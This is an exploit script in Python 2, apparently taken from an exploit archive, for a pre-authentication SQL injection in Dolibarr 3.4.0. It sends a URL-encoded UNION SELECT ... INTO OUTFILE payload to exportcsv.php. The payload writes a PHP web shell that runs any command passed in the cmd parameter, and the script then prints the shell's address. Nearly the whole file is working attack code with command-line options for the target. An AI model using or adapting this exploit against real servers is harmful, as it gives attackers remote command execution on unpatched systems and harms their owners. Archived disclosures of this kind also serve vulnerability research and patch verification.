/exploits/php/webapps/28971.py

# Exploit Title: Dolibarr 3.4.0 SQLi

# Date: 10/7/2013

# Exploit author: drone (@dronesec)

# More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html

# Vendor homepage: http://www.dolibarr.org/

# Software link: 

# Version: 3.4.0

# Fixed in: 3.4.1

# Tested on: Ubuntu 12.04 (apparmor disabled)



import urllib2

import string

import random

from argparse import ArgumentParser



""" Preauth web shell via SQL injection

    Dolibarr 3.4.0

"""



def run(options):

    """ run exploit

    """

    print '[!] Dropping web shell on %s...' % options.ip

    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\

                                            .format(options.ip, options.rootp)



    # ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -

    exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\

              ',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\

                        .format(options.path, shell)



    try:

        urllib2.urlopen(sqli + exploit)

        print '[!] Shell dropped.  http://%s%s/documents/%s.php?cmd=ls' % \

                                                    (options.ip, options.rootp, shell)

    except Exception, e:

        print '[-] %s' % e



def parse():

    """ Parse cli

    """

    parser = ArgumentParser()

    parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)

    parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',

                            default='/dolibarr', dest='rootp')

    parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',

                            action='store', default='/var/www/dolibarr/documents', dest='path')



    options = parser.parse_args()

    options.path = options.path if options.path[-1] != '/' else options.path[:-1]

    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]

    return options



if __name__ == "__main__":

    run(parse())